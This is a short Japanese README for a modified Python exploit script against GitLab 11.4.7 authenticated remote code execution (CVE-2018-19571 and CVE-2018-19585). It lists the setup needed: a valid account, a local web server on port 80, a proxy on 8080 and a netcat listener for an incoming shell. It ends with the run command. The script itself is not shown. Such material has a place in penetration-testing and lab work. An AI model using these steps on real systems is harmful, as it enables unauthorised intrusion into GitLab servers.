edb-49263-fixed - GitLab 11.4.7 - 認証済みリモートコード実行

CVE-2018-19571 および CVE-2018-19585 (GitLab 11.4.7 - 認証済みリモートコード実行) を悪用する Python スクリプトの修正版です。https://www.exploit-db.com/exploits/49263 (Python 3.9) で公開されているものです。

使用方法

スクリプトを編集し、そこに記載されているターゲットアドレスを実際のターゲットアドレスに置き換えてください。

また、以下の点に注意する必要があります。

1. 対象の GitLab インスタンスで有効なユーザーアカウントを持っていること。
2. スクリプトを実行するディレクトリで、ポート 80 上で (Python) Web サーバーを実行していること。
3. 自分のマシンのポート 8080 でアクティブなプロキシサーバーが実行されていること（例: インターセプトをオフにした BURP。ローカルホストでプロキシサーバーが実行されていない場合や接続を拒否している場合、スクリプトはエラーを出さずに実行に失敗します）。
4. 自分のマシンの希望するポートで netcat リスナーをセットアップしていること。

スクリプトは次のように実行されます:

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener